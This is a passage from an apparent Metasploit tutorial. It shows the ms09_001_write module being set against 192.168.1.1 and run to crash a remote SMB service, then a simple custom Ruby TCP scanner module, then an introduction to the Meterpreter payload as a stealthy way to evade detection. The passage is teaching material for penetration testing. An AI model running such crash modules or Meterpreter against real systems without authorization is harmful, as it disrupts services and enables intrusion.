```
msf auxiliary(ms09_001_write) > set RHOST 192.168.1.1
RHOST => 192.168.1.1
msf auxiliary(ms09_001_write) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.1.1 yes The target address
RPORT 445 yes Set the SMB service port
```

exploit/run

When launching an *exploit*, you issue the exploit command, whereas if you are using an auxiliary module, the proper usage is *run*—although *exploit* will also work.

```
msf auxiliary(ms09_001_write) > run
Attempting to crash the remote host...
datalenlow=65535 dataoffset=65535 fillersize=72
rescue
datalenlow=55535 dataoffset=65535 fillersize=72
rescue
datalenlow=45535 dataoffset=65535 fillersize=72
rescue
datalenlow=35535 dataoffset=65535 fillersize=72
rescue
datalenlow=25535 dataoffset=65535 fillersize=72
rescue
...snip...
```

Writing your own code (tool) to embed with MSF

Now, let's develop a tool using MSF, and then embed it into the framework. This is easier to understand with an example of how to develop a port scanner. Let's write the code using MSF inbuilt libraries. Use this very simple TCP scanner that will connect to a host on a default port of 12345, which can be changed via the module options at run-time. Upon connecting to the server, it sends 'HELLO SERVER', receives the response, and prints it out, along with the IP address of the remote host.

```
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'My custom TCP scan',
'Version' => '$Revision: 1 $',
'Description' => 'My quick scanner',
'Author' => 'Your name here',
'License' => MSF_LICENSE
)
register_options( [
Opt::RPORT(12345)
], self.class)
```

Figure 3: Meterpreter command shell

```
end
def run_host(ip)
connect()
sock.puts('HELLO SERVER')
data = sock.recv(1024)
print_status("Received: #{data} from #{ip}")
disconnect()
end
end
```

Save the file into the *./modules/auxiliary/scanner/* directory as *simple_tcp.rb* and load up *msfconsole*. It's important to note two things here. First, modules are loaded at run-time, so your new module will not show up unless you restart your interface of choice. The second is that the folder structure is very important. If you had saved your scanner under */modules/auxiliary/scanner/http/* then it would show up in the modules list as '*scanner/http/simple_tcp*'.

The Meterpreter payload

Whenever attempting to exploit a remote system, an attacker always has a specific objective in mind—typically, to obtain the command shell of the remote system, and thereby run arbitrary commands on that system. The attacker would also like to do this in as stealthy a manner as possible, as well as to evade any Intrusion Detection Systems (IDSs). If the exploitation is successful, but the command shell fails to work, or is executing in a *chrooted* environment, the attacker's options would be severely limited. This means that the launching of a new process on the remote system would result in a high-visibility situation, where a good administrator or forensics analyst, who would first check the list of running processes on a suspect system, notices the new process—and that is one thing the attacker doesn't want to happen.

This is where the Meterpreter (short for Meta-Interpreter) comes into action. The Meterpreter is one of the advanced payloads available with the MSF, but you should not look at it as just a payload; rather, view it as an exploit platform that is executed on the remote system. The Meterpreter has its own command shell, which provides the attacker with a wide variety of activities that can be executed on the exploited system.

Additionally, the Meterpreter allows developers to write